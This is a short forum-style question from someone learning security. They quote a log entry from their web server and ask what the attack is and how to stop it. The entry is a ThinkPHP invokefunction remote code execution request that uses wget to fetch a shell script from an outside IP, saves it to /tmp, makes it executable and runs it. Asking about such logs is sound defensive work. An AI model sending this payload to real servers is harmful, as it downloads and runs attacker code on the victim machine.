I have very little experience with security (still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars=system&vars=wget%20http://18.104.22.168/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of
chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?